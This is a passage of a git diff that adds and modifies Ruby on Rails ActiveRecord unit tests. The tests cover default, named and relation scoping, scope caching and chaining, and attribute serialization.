+ def test_default_scope_with_references_works_with_find_by
+ post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+ comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+ assert_equal comment, CommentWithDefaultScopeReferencesAssociation.find_by(id: comment.id)
+ end
+
+ unless in_memory_db?
+ def test_default_scope_is_threadsafe
+ threads = []
+ assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+ threads << Thread.new do
+ Thread.current[:long_default_scope] = true
+ assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+ ThreadsafeDeveloper.connection.close
+ end
+ threads << Thread.new do
+ assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+ ThreadsafeDeveloper.connection.close
+ end
+ threads.each(&:join)
+ end
+ end
+
+ test "additional conditions are ANDed with the default scope" do
+ scope = DeveloperCalledJamis.where(name: "David")
+ assert_equal 2, scope.where_values.length
+ assert_equal [], scope.to_a
+ end
+
+ test "additional conditions in a scope are ANDed with the default scope" do
+ scope = DeveloperCalledJamis.david
+ assert_equal 2, scope.where_values.length
+ assert_equal [], scope.to_a
+ end
+
+ test "a scope can remove the condition from the default scope" do
+ scope = DeveloperCalledJamis.david2
+ assert_equal 1, scope.where_values.length
+ assert_equal Developer.where(name: "David").map(&:id), scope.map(&:id)
+ end
+end
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
new file mode 100644
index 0000000000..41f3449828
--- /dev/null
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -0,0 +1,524 @@
+require "cases/helper"
+require 'models/post'
+require 'models/topic'
+require 'models/comment'
+require 'models/reply'
+require 'models/author'
+require 'models/developer'
+require 'models/computer'
+
+class NamedScopingTest < ActiveRecord::TestCase
+ fixtures :posts, :authors, :topics, :comments, :author_addresses
+
+ def test_implements_enumerable
+ assert !Topic.all.empty?
+
+ assert_equal Topic.all.to_a, Topic.base
+ assert_equal Topic.all.to_a, Topic.base.to_a
+ assert_equal Topic.first, Topic.base.first
+ assert_equal Topic.all.to_a, Topic.base.map { |i| i }
+ end
+
+ def test_found_items_are_cached
+ all_posts = Topic.base
+
+ assert_queries(1) do
+ all_posts.collect
+ all_posts.collect
+ end
+ end
+
+ def test_reload_expires_cache_of_found_items
+ all_posts = Topic.base
+ all_posts.to_a
+
+ new_post = Topic.create!
+ assert !all_posts.include?(new_post)
+ assert all_posts.reload.include?(new_post)
+ end
+
+ def test_delegates_finds_and_calculations_to_the_base_class
+ assert !Topic.all.empty?
+
+ assert_equal Topic.all.to_a, Topic.base.to_a
+ assert_equal Topic.first, Topic.base.first
+ assert_equal Topic.count, Topic.base.count
+ assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
+ end
+
+ def test_method_missing_priority_when_delegating
+ klazz = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+ scope :since, Proc.new { where('written_on >= ?', Time.now - 1.day) }
+ scope :to, Proc.new { where('written_on <= ?', Time.now) }
+ end
+ assert_equal klazz.to.since.to_a, klazz.since.to.to_a
+ end
+
+ def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
+ assert Topic.approved.respond_to?(:limit)
+ assert Topic.approved.respond_to?(:count)
+ assert Topic.approved.respond_to?(:length)
+ end
+
+ def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
+ assert !Topic.all.merge!(:where => {:approved => true}).to_a.empty?
+
+ assert_equal Topic.all.merge!(:where => {:approved => true}).to_a, Topic.approved
+ assert_equal Topic.where(:approved => true).count, Topic.approved.count
+ end
+
+ def test_scopes_with_string_name_can_be_composed
+ # NOTE that scopes defined with a string as a name worked on their own
+ # but when called on another scope the other scope was completely replaced
+ assert_equal Topic.replied.approved, Topic.replied.approved_as_string
+ end
+
+ def test_scopes_are_composable
+ assert_equal((approved = Topic.all.merge!(:where => {:approved => true}).to_a), Topic.approved)
+ assert_equal((replied = Topic.all.merge!(:where => 'replies_count > 0').to_a), Topic.replied)
+ assert !(approved == replied)
+ assert !(approved & replied).empty?
+
+ assert_equal approved & replied, Topic.approved.replied
+ end
+
+ def test_procedural_scopes
+ topics_written_before_the_third = Topic.where('written_on < ?', topics(:third).written_on)
+ topics_written_before_the_second = Topic.where('written_on < ?', topics(:second).written_on)
+ assert_not_equal topics_written_before_the_second, topics_written_before_the_third
+
+ assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
+ assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
+ end
+
+ def test_procedural_scopes_returning_nil
+ all_topics = Topic.all
+
+ assert_equal all_topics, Topic.written_before(nil)
+ end
+
+ def test_scope_with_object
+ objects = Topic.with_object
+ assert_operator objects.length, :>, 0
+ assert objects.all?(&:approved?), 'all objects should be approved'
+ end
+
+ def test_has_many_associations_have_access_to_scopes
+ assert_not_equal Post.containing_the_letter_a, authors(:david).posts
+ assert !Post.containing_the_letter_a.empty?
+
+ assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
+ end
+
+ def test_scope_with_STI
+ assert_equal 3,Post.containing_the_letter_a.count
+ assert_equal 1,SpecialPost.containing_the_letter_a.count
+ end
+
+ def test_has_many_through_associations_have_access_to_scopes
+ assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
+ assert !Comment.containing_the_letter_e.empty?
+
+ assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
+ end
+
+ def test_scopes_honor_current_scopes_from_when_defined
+ assert !Post.ranked_by_comments.limit_by(5).empty?
+ assert !authors(:david).posts.ranked_by_comments.limit_by(5).empty?
+ assert_not_equal Post.ranked_by_comments.limit_by(5), authors(:david).posts.ranked_by_comments.limit_by(5)
+ assert_not_equal Post.top(5), authors(:david).posts.top(5)
+ # Oracle sometimes sorts differently if WHERE condition is changed
+ assert_equal authors(:david).posts.ranked_by_comments.limit_by(5).to_a.sort_by(&:id), authors(:david).posts.top(5).to_a.sort_by(&:id)
+ assert_equal Post.ranked_by_comments.limit_by(5), Post.top(5)
+ end
+
+ def test_scopes_body_is_a_callable
+ e = assert_raises ArgumentError do
+ Class.new(Post).class_eval { scope :containing_the_letter_z, where("body LIKE '%z%'") }
+ end
+ assert_equal "The scope body needs to be callable.", e.message
+ end
+
+ def test_active_records_have_scope_named__all__
+ assert !Topic.all.empty?
+
+ assert_equal Topic.all.to_a, Topic.base
+ end
+
+ def test_active_records_have_scope_named__scoped__
+ scope = Topic.where("content LIKE '%Have%'")
+ assert !scope.empty?
+
+ assert_equal scope, Topic.all.merge!(where: "content LIKE '%Have%'")
+ end
+
+ def test_first_and_last_should_allow_integers_for_limit
+ assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
+ assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2)
+ end
+
+ def test_first_and_last_should_not_use_query_when_results_are_loaded
+ topics = Topic.base
+ topics.reload # force load
+ assert_no_queries do
+ topics.first
+ topics.last
+ end
+ end
+
+ def test_empty_should_not_load_results
+ topics = Topic.base
+ assert_queries(2) do
+ topics.empty? # use count query
+ topics.collect # force load
+ topics.empty? # use loaded (no query)
+ end
+ end
+
+ def test_any_should_not_load_results
+ topics = Topic.base
+ assert_queries(2) do
+ topics.any? # use count query
+ topics.collect # force load
+ topics.any? # use loaded (no query)
+ end
+ end
+
+ def test_any_should_call_proxy_found_if_using_a_block
+ topics = Topic.base
+ assert_queries(1) do
+ topics.expects(:empty?).never
+ topics.any? { true }
+ end
+ end
+
+ def test_any_should_not_fire_query_if_scope_loaded
+ topics = Topic.base
+ topics.collect # force load
+ assert_no_queries { assert topics.any? }
+ end
+
+ def test_model_class_should_respond_to_any
+ assert Topic.any?
+ Topic.delete_all
+ assert !Topic.any?
+ end
+
+ def test_many_should_not_load_results
+ topics = Topic.base
+ assert_queries(2) do
+ topics.many? # use count query
+ topics.collect # force load
+ topics.many? # use loaded (no query)
+ end
+ end
+
+ def test_many_should_call_proxy_found_if_using_a_block
+ topics = Topic.base
+ assert_queries(1) do
+ topics.expects(:size).never
+ topics.many? { true }
+ end
+ end
+
+ def test_many_should_not_fire_query_if_scope_loaded
+ topics = Topic.base
+ topics.collect # force load
+ assert_no_queries { assert topics.many? }
+ end
+
+ def test_many_should_return_false_if_none_or_one
+ topics = Topic.base.where(:id => 0)
+ assert !topics.many?
+ topics = Topic.base.where(:id => 1)
+ assert !topics.many?
+ end
+
+ def test_many_should_return_true_if_more_than_one
+ assert Topic.base.many?
+ end
+
+ def test_model_class_should_respond_to_many
+ Topic.delete_all
+ assert !Topic.many?
+ Topic.create!
+ assert !Topic.many?
+ Topic.create!
+ assert Topic.many?
+ end
+
+ def test_should_build_on_top_of_scope
+ topic = Topic.approved.build({})
+ assert topic.approved
+ end
+
+ def test_should_build_new_on_top_of_scope
+ topic = Topic.approved.new
+ assert topic.approved
+ end
+
+ def test_should_create_on_top_of_scope
+ topic = Topic.approved.create({})
+ assert topic.approved
+ end
+
+ def test_should_create_with_bang_on_top_of_scope
+ topic = Topic.approved.create!({})
+ assert topic.approved
+ end
+
+ def test_should_build_on_top_of_chained_scopes
+ topic = Topic.approved.by_lifo.build({})
+ assert topic.approved
+ assert_equal 'lifo', topic.author_name
+ end
+
+ def test_reserved_scope_names
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+
+ scope :approved, -> { where(approved: true) }
+
+ class << self
+ public
+ def pub; end
+
+ private
+ def pri; end
+
+ protected
+ def pro; end
+ end
+ end
+
+ subklass = Class.new(klass)
+
+ conflicts = [
+ :create, # public class method on AR::Base
+ :relation, # private class method on AR::Base
+ :new, # redefined class method on AR::Base
+ :all, # a default scope
+ :public, # some imporant methods on Module and Class
+ :protected,
+ :private,
+ :name,
+ :parent,
+ :superclass
+ ]
+
+ non_conflicts = [
+ :find_by_title, # dynamic finder method
+ :approved, # existing scope
+ :pub, # existing public class method
+ :pri, # existing private class method
+ :pro, # existing protected class method
+ :open, # a ::Kernel method
+ ]
+
+ conflicts.each do |name|
+ assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+ klass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+
+ assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+ subklass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+ end
+
+ non_conflicts.each do |name|
+ assert_nothing_raised do
+ silence_warnings do
+ klass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+ end
+
+ assert_nothing_raised do
+ subklass.class_eval { scope name, ->{ where(approved: true) } }
+ end
+ end
+ end
+
+ # Method delegation for scope names which look like /\A[a-zA-Z_]\w*[!?]?\z/
+ # has been done by evaluating a string with a plain def statement. For scope
+ # names which contain spaces this approach doesn't work.
+ def test_spaces_in_scope_names
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+ scope :"title containing space", -> { where("title LIKE '% %'") }
+ scope :approved, -> { where(:approved => true) }
+ end
+ assert_equal klass.send(:"title containing space"), klass.where("title LIKE '% %'")
+ assert_equal klass.approved.send(:"title containing space"), klass.approved.where("title LIKE '% %'")
+ end
+
+ def test_find_all_should_behave_like_select
+ assert_equal Topic.base.to_a.select(&:approved), Topic.base.to_a.find_all(&:approved)
+ end
+
+ def test_rand_should_select_a_random_object_from_proxy
+ assert_kind_of Topic, Topic.approved.sample
+ end
+
+ def test_should_use_where_in_query_for_scope
+ assert_equal Developer.where(name: 'Jamis').to_set, Developer.where(id: Developer.jamises).to_set
+ end
+
+ def test_size_should_use_count_when_results_are_not_loaded
+ topics = Topic.base
+ assert_queries(1) do
+ assert_sql(/COUNT/i) { topics.size }
+ end
+ end
+
+ def test_size_should_use_length_when_results_are_loaded
+ topics = Topic.base
+ topics.reload # force load
+ assert_no_queries do
+ topics.size # use loaded (no query)
+ end
+ end
+
+ def test_should_not_duplicates_where_values
+ where_values = Topic.where("1=1").scope_with_lambda.where_values
+ assert_equal ["1=1"], where_values
+ end
+
+ def test_chaining_with_duplicate_joins
+ join = "INNER JOIN comments ON comments.post_id = posts.id"
+ post = Post.find(1)
+ assert_equal post.comments.size, Post.joins(join).joins(join).where("posts.id = #{post.id}").size
+ end
+
+ def test_chaining_applies_last_conditions_when_creating
+ post = Topic.rejected.new
+ assert !post.approved?
+
+ post = Topic.rejected.approved.new
+ assert post.approved?
+
+ post = Topic.approved.rejected.new
+ assert !post.approved?
+
+ post = Topic.approved.rejected.approved.new
+ assert post.approved?
+ end
+
+ def test_chaining_combines_conditions_when_searching
+ # Normal hash conditions
+ assert_equal Topic.where(approved: false).where(approved: true).to_a, Topic.rejected.approved.to_a
+ assert_equal Topic.where(approved: true).where(approved: false).to_a, Topic.approved.rejected.to_a
+
+ # Nested hash conditions with same keys
+ assert_equal [], Post.with_special_comments.with_very_special_comments.to_a
+
+ # Nested hash conditions with different keys
+ assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).to_a.uniq
+ end
+
+ def test_scopes_batch_finders
+ assert_equal 4, Topic.approved.count
+
+ assert_queries(5) do
+ Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
+ end
+
+ assert_queries(3) do
+ Topic.approved.find_in_batches(:batch_size => 2) do |group|
+ group.each {|t| assert t.approved? }
+ end
+ end
+ end
+
+ def test_table_names_for_chaining_scopes_with_and_without_table_name_included
+ assert_nothing_raised do
+ Comment.for_first_post.for_first_author.to_a
+ end
+ end
+
+ def test_scopes_on_relations
+ # Topic.replied
+ approved_topics = Topic.all.approved.order('id DESC')
+ assert_equal topics(:fifth), approved_topics.first
+
+ replied_approved_topics = approved_topics.replied
+ assert_equal topics(:third), replied_approved_topics.first
+ end
+
+ def test_index_on_scope
+ approved = Topic.approved.order('id ASC')
+ assert_equal topics(:second), approved[0]
+ assert approved.loaded?
+ end
+
+ def test_nested_scopes_queries_size
+ assert_queries(1) do
+ Topic.approved.by_lifo.replied.written_before(Time.now).to_a
+ end
+ end
+
+ # Note: these next two are kinda odd because they are essentially just testing that the
+ # query cache works as it should, but they are here for legacy reasons as they was previously
+ # a separate cache on association proxies, and these show that that is not necessary.
+ def test_scopes_are_cached_on_associations
+ post = posts(:welcome)
+
+ Post.cache do
+ assert_queries(1) { post.comments.containing_the_letter_e.to_a }
+ assert_no_queries { post.comments.containing_the_letter_e.to_a }
+ end
+ end
+
+ def test_scopes_with_arguments_are_cached_on_associations
+ post = posts(:welcome)
+
+ Post.cache do
+ one = assert_queries(1) { post.comments.limit_by(1).to_a }
+ assert_equal 1, one.size
+
+ two = assert_queries(1) { post.comments.limit_by(2).to_a }
+ assert_equal 2, two.size
+
+ assert_no_queries { post.comments.limit_by(1).to_a }
+ assert_no_queries { post.comments.limit_by(2).to_a }
+ end
+ end
+
+ def test_scopes_to_get_newest
+ post = posts(:welcome)
+ old_last_comment = post.comments.newest
+ new_comment = post.comments.create(:body => "My new comment")
+ assert_equal new_comment, post.comments.newest
+ assert_not_equal old_last_comment, post.comments.newest
+ end
+
+ def test_scopes_are_reset_on_association_reload
+ post = posts(:welcome)
+
+ [:destroy_all, :reset, :delete_all].each do |method|
+ before = post.comments.containing_the_letter_e
+ post.association(:comments).send(method)
+ assert before.object_id != post.comments.containing_the_letter_e.object_id, "CollectionAssociation##{method} should reset the named scopes cache"
+ end
+ end
+
+ def test_scoped_are_lazy_loaded_if_table_still_does_not_exist
+ assert_nothing_raised do
+ require "models/without_table"
+ end
+ end
+
+ def test_eager_default_scope_relations_are_remove
+ klass = Class.new(ActiveRecord::Base)
+ klass.table_name = 'posts'
+
+ assert_raises(ArgumentError) do
+ klass.send(:default_scope, klass.where(:id => posts(:welcome).id))
+ end
+ end
+
+ def test_subclass_merges_scopes_properly
+ assert_equal 1, SpecialComment.where(body: 'go crazy').created.count
+ end
+
+end
diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb
new file mode 100644
index 0000000000..d7bcbf6203
--- /dev/null
+++ b/activerecord/test/cases/scoping/relation_scoping_test.rb
@@ -0,0 +1,357 @@
+require "cases/helper"
+require 'models/post'
+require 'models/author'
+require 'models/developer'
+require 'models/computer'
+require 'models/project'
+require 'models/comment'
+require 'models/category'
+require 'models/person'
+require 'models/reference'
+
+class RelationScopingTest < ActiveRecord::TestCase
+ fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
+
+ setup do
+ developers(:david)
+ end
+
+ def test_unscoped_breaks_caching
+ author = authors :mary
+ assert_nil author.first_post
+ post = FirstPost.unscoped do
+ author.reload.first_post
+ end
+ assert post
+ end
+
+ def test_scope_breaks_caching_on_collections
+ author = authors :david
+ ids = author.reload.special_posts_with_default_scope.map(&:id)
+ assert_equal [1,5,6], ids.sort
+ scoped_posts = SpecialPostWithDefaultScope.unscoped do
+ author = authors :david
+ author.reload.special_posts_with_default_scope.to_a
+ end
+ assert_equal author.posts.map(&:id).sort, scoped_posts.map(&:id).sort
+ end
+
+ def test_reverse_order
+ assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order
+ end
+
+ def test_reverse_order_with_arel_node
+ assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).reverse_order
+ end
+
+ def test_reverse_order_with_multiple_arel_nodes
+ assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).order(Developer.arel_table[:name].desc).reverse_order
+ end
+
+ def test_reverse_order_with_arel_nodes_and_strings
+ assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order("id DESC").order(Developer.arel_table[:name].desc).reverse_order
+ end
+
+ def test_double_reverse_order_produces_original_order
+ assert_equal Developer.order("name DESC"), Developer.order("name DESC").reverse_order.reverse_order
+ end
+
+ def test_scoped_find
+ Developer.where("name = 'David'").scoping do
+ assert_nothing_raised { Developer.find(1) }
+ end
+ end
+
+ def test_scoped_find_first
+ developer = Developer.find(10)
+ Developer.where("salary = 100000").scoping do
+ assert_equal developer, Developer.order("name").first
+ end
+ end
+
+ def test_scoped_find_last
+ highest_salary = Developer.order("salary DESC").first
+
+ Developer.order("salary").scoping do
+ assert_equal highest_salary, Developer.last
+ end
+ end
+
+ def test_scoped_find_last_preserves_scope
+ lowest_salary = Developer.order("salary ASC").first
+ highest_salary = Developer.order("salary DESC").first
+
+ Developer.order("salary").scoping do
+ assert_equal highest_salary, Developer.last
+ assert_equal lowest_salary, Developer.first
+ end
+ end
+
+ def test_scoped_find_combines_and_sanitizes_conditions
+ Developer.where("salary = 9000").scoping do
+ assert_equal developers(:poor_jamis), Developer.where("name = 'Jamis'").first
+ end
+ end
+
+ def test_scoped_find_all
+ Developer.where("name = 'David'").scoping do
+ assert_equal [developers(:david)], Developer.all
+ end
+ end
+
+ def test_scoped_find_select
+ Developer.select("id, name").scoping do
+ developer = Developer.where("name = 'David'").first
+ assert_equal "David", developer.name
+ assert !developer.has_attribute?(:salary)
+ end
+ end
+
+ def test_scope_select_concatenates
+ Developer.select("id, name").scoping do
+ developer = Developer.select('salary').where("name = 'David'").first
+ assert_equal 80000, developer.salary
+ assert developer.has_attribute?(:id)
+ assert developer.has_attribute?(:name)
+ assert developer.has_attribute?(:salary)
+ end
+ end
+
+ def test_scoped_count
+ Developer.where("name = 'David'").scoping do
+ assert_equal 1, Developer.count
+ end
+
+ Developer.where('salary = 100000').scoping do
+ assert_equal 8, Developer.count
+ assert_equal 1, Developer.where("name LIKE 'fixture_1%'").count
+ end
+ end
+
+ def test_scoped_find_include
+ # with the include, will retrieve only developers for the given project
+ scoped_developers = Developer.includes(:projects).scoping do
+ Developer.where('projects.id' => 2).to_a
+ end
+ assert scoped_developers.include?(developers(:david))
+ assert !scoped_developers.include?(developers(:jamis))
+ assert_equal 1, scoped_developers.size
+ end
+
+ def test_scoped_find_joins
+ scoped_developers = Developer.joins('JOIN developers_projects ON id = developer_id').scoping do
+ Developer.where('developers_projects.project_id = 2').to_a
+ end
+
+ assert scoped_developers.include?(developers(:david))
+ assert !scoped_developers.include?(developers(:jamis))
+ assert_equal 1, scoped_developers.size
+ assert_equal developers(:david).attributes, scoped_developers.first.attributes
+ end
+
+ def test_scoped_create_with_where
+ new_comment = VerySpecialComment.where(:post_id => 1).scoping do
+ VerySpecialComment.create :body => "Wonderful world"
+ end
+
+ assert_equal 1, new_comment.post_id
+ assert Post.find(1).comments.include?(new_comment)
+ end
+
+ def test_scoped_create_with_create_with
+ new_comment = VerySpecialComment.create_with(:post_id => 1).scoping do
+ VerySpecialComment.create :body => "Wonderful world"
+ end
+
+ assert_equal 1, new_comment.post_id
+ assert Post.find(1).comments.include?(new_comment)
+ end
+
+ def test_scoped_create_with_create_with_has_higher_priority
+ new_comment = VerySpecialComment.where(:post_id => 2).create_with(:post_id => 1).scoping do
+ VerySpecialComment.create :body => "Wonderful world"
+ end
+
+ assert_equal 1, new_comment.post_id
+ assert Post.find(1).comments.include?(new_comment)
+ end
+
+ def test_ensure_that_method_scoping_is_correctly_restored
+ begin
+ Developer.where("name = 'Jamis'").scoping do
+ raise "an exception"
+ end
+ rescue
+ end
+
+ assert !Developer.all.where_values.include?("name = 'Jamis'")
+ end
+
+ def test_default_scope_filters_on_joins
+ assert_equal 1, DeveloperFilteredOnJoins.all.count
+ assert_equal DeveloperFilteredOnJoins.all.first, developers(:david).becomes(DeveloperFilteredOnJoins)
+ end
+
+ def test_update_all_default_scope_filters_on_joins
+ DeveloperFilteredOnJoins.update_all(:salary => 65000)
+ assert_equal 65000, Developer.find(developers(:david).id).salary
+
+ # has not changed jamis
+ assert_not_equal 65000, Developer.find(developers(:jamis).id).salary
+ end
+
+ def test_delete_all_default_scope_filters_on_joins
+ assert_not_equal [], DeveloperFilteredOnJoins.all
+
+ DeveloperFilteredOnJoins.delete_all()
+
+ assert_equal [], DeveloperFilteredOnJoins.all
+ assert_not_equal [], Developer.all
+ end
+end
+
+class NestedRelationScopingTest < ActiveRecord::TestCase
+ fixtures :authors, :developers, :projects, :comments, :posts
+
+ def test_merge_options
+ Developer.where('salary = 80000').scoping do
+ Developer.limit(10).scoping do
+ devs = Developer.all
+ sql = devs.to_sql
+ assert_match '(salary = 80000)', sql
+ assert_match 'LIMIT 10', sql
+ end
+ end
+ end
+
+ def test_merge_inner_scope_has_priority
+ Developer.limit(5).scoping do
+ Developer.limit(10).scoping do
+ assert_equal 10, Developer.all.size
+ end
+ end
+ end
+
+ def test_replace_options
+ Developer.where(:name => 'David').scoping do
+ Developer.unscoped do
+ assert_equal 'Jamis', Developer.where(:name => 'Jamis').first[:name]
+ end
+
+ assert_equal 'David', Developer.first[:name]
+ end
+ end
+
+ def test_three_level_nested_exclusive_scoped_find
+ Developer.where("name = 'Jamis'").scoping do
+ assert_equal 'Jamis', Developer.first.name
+
+ Developer.unscoped.where("name = 'David'") do
+ assert_equal 'David', Developer.first.name
+
+ Developer.unscoped.where("name = 'Maiha'") do
+ assert_equal nil, Developer.first
+ end
+
+ # ensure that scoping is restored
+ assert_equal 'David', Developer.first.name
+ end
+
+ # ensure that scoping is restored
+ assert_equal 'Jamis', Developer.first.name
+ end
+ end
+
+ def test_nested_scoped_create
+ comment = Comment.create_with(:post_id => 1).scoping do
+ Comment.create_with(:post_id => 2).scoping do
+ Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
+ end
+ end
+
+ assert_equal 2, comment.post_id
+ end
+
+ def test_nested_exclusive_scope_for_create
+ comment = Comment.create_with(:body => "Hey guys, nested scopes are broken. Please fix!").scoping do
+ Comment.unscoped.create_with(:post_id => 1).scoping do
+ assert Comment.new.body.blank?
+ Comment.create :body => "Hey guys"
+ end
+ end
+
+ assert_equal 1, comment.post_id
+ assert_equal 'Hey guys', comment.body
+ end
+end
+
+class HasManyScopingTest < ActiveRecord::TestCase
+ fixtures :comments, :posts, :people, :references
+
+ def setup
+ @welcome = Post.find(1)
+ end
+
+ def test_forwarding_of_static_methods
+ assert_equal 'a comment...', Comment.what_are_you
+ assert_equal 'a comment...', @welcome.comments.what_are_you
+ end
+
+ def test_forwarding_to_scoped
+ assert_equal 4, Comment.search_by_type('Comment').size
+ assert_equal 2, @welcome.comments.search_by_type('Comment').size
+ end
+
+ def test_nested_scope_finder
+ Comment.where('1=0').scoping do
+ assert_equal 0, @welcome.comments.count
+ assert_equal 'a comment...', @welcome.comments.what_are_you
+ end
+
+ Comment.where('1=1').scoping do
+ assert_equal 2, @welcome.comments.count
+ assert_equal 'a comment...', @welcome.comments.what_are_you
+ end
+ end
+
+ def test_should_maintain_default_scope_on_associations
+ magician = BadReference.find(1)
+ assert_equal [magician], people(:michael).bad_references
+ end
+
+ def test_should_default_scope_on_associations_is_overridden_by_association_conditions
+ reference = references(:michael_unicyclist).becomes(BadReference)
+ assert_equal [reference], people(:michael).fixed_bad_references
+ end
+
+ def test_should_maintain_default_scope_on_eager_loaded_associations
+ michael = Person.where(:id => people(:michael).id).includes(:bad_references).first
+ magician = BadReference.find(1)
+ assert_equal [magician], michael.bad_references
+ end
+end
+
+class HasAndBelongsToManyScopingTest < ActiveRecord::TestCase
+ fixtures :posts, :categories, :categories_posts
+
+ def setup
+ @welcome = Post.find(1)
+ end
+
+ def test_forwarding_of_static_methods
+ assert_equal 'a category...', Category.what_are_you
+ assert_equal 'a category...', @welcome.categories.what_are_you
+ end
+
+ def test_nested_scope_finder
+ Category.where('1=0').scoping do
+ assert_equal 0, @welcome.categories.count
+ assert_equal 'a category...', @welcome.categories.what_are_you
+ end
+
+ Category.where('1=1').scoping do
+ assert_equal 2, @welcome.categories.count
+ assert_equal 'a category...', @welcome.categories.what_are_you
+ end
+ end
+end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index eb9cb91e32..35b13ea247 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -1,8 +1,13 @@
require "cases/helper"
require 'models/contact'
require 'models/topic'
+require 'models/book'
+require 'models/author'
+require 'models/post'
class SerializationTest < ActiveRecord::TestCase
+ fixtures :books
+
FORMATS = [ :xml, :json ]
def setup
@@ -18,6 +23,10 @@ class SerializationTest < ActiveRecord::TestCase
}
end
+ def test_include_root_in_json_is_false_by_default
+ assert_equal false, ActiveRecord::Base.include_root_in_json, "include_root_in_json should be false by default but was not"
+ end
+
def test_serialize_should_be_reversible
FORMATS.each do |format|
@serialized = Contact.new.send("to_#{format}")
@@ -61,4 +70,35 @@ class SerializationTest < ActiveRecord::TestCase
ensure
ActiveRecord::Base.include_root_in_json = original_root_in_json
end
+
+ def test_read_attribute_for_serialization_with_format_without_method_missing
+ klazz = Class.new(ActiveRecord::Base)
+ klazz.table_name = 'books'
+
+ book = klazz.new
+ assert_nil book.read_attribute_for_serialization(:format)
+ end
+
+ def test_read_attribute_for_serialization_with_format_after_init
+ klazz = Class.new(ActiveRecord::Base)
+ klazz.table_name = 'books'
+
+ book = klazz.new(format: 'paperback')
+ assert_equal 'paperback', book.read_attribute_for_serialization(:format)
+ end
+
+ def test_read_attribute_for_serialization_with_format_after_find
+ klazz = Class.new(ActiveRecord::Base)
+ klazz.table_name = 'books'
+
+ book = klazz.find(books(:awdr).id)
+ assert_equal 'paperback', book.read_attribute_for_serialization(:format)
+ end
+
+ def test_find_records_by_serialized_attributes_through_join
+ author = Author.create!(name: "David")
+ author.serialized_posts.create!(title: "Hello")
+
+ assert_equal 1, Author.joins(:serialized_posts).where(name: "David", serialized_posts: { title: "Hello" }).length
+ end
end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
index 6962da298e..66f345d805 100644
--- a/activerecord/test/cases/serialized_attribute_test.rb
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -1,25 +1,31 @@
-require "cases/helper"
+require 'cases/helper'
require 'models/topic'
+require 'models/reply'
+require 'models/person'
+require 'models/traffic_light'
+require 'models/post'
require 'bcrypt'
class SerializedAttributeTest < ActiveRecord::TestCase
- fixtures :topics
+ fixtures :topics, :posts
MyObject = Struct.new :attribute1, :attribute2
- def teardown
- super
+ teardown do
Topic.serialize("content")
end
- def test_list_of_serialized_attributes
- assert_equal %w(content), Topic.serialized_attributes.keys
+ def test_serialize_does_not_eagerly_load_columns
+ Topic.reset_column_information
+ assert_no_queries do
+ Topic.serialize(:content)
+ end
end
- def test_serialized_attributes_are_class_level_settings
- topic = Topic.new
- assert_raise(NoMethodError) { topic.serialized_attributes = [] }
- assert_deprecated { topic.serialized_attributes }
+ def test_list_of_serialized_attributes
+ assert_deprecated do
+ assert_equal %w(content), Topic.serialized_attributes.keys
+ end
end
def test_serialized_attribute
@@ -33,12 +39,6 @@ class SerializedAttributeTest < ActiveRecord::TestCase
assert_equal(myobj, topic.content)
end
- def test_serialized_attribute_init_with
- topic = Topic.allocate
- topic.init_with('attributes' => { 'content' => '--- foo' })
- assert_equal 'foo', topic.content
- end
-
def test_serialized_attribute_in_base_class
Topic.serialize("content", Hash)
@@ -50,34 +50,56 @@ class SerializedAttributeTest < ActiveRecord::TestCase
assert_equal(hash, important_topic.content)
end
- # This test was added to fix GH #4004. Obviously the value returned
- # is not really the value 'before type cast' so we should maybe think
- # about changing that in the future.
- def test_serialized_attribute_before_type_cast_returns_unserialized_value
+ def test_serialized_attributes_from_database_on_subclass
Topic.serialize :content, Hash
- t = Topic.new(content: { foo: :bar })
- assert_equal({ foo: :bar }, t.content_before_type_cast)
+ t = Reply.new(content: { foo: :bar })
+ assert_equal({ foo: :bar }, t.content)
t.save!
- t.reload
- assert_equal({ foo: :bar }, t.content_before_type_cast)
+ t = Reply.last
+ assert_equal({ foo: :bar }, t.content)
end
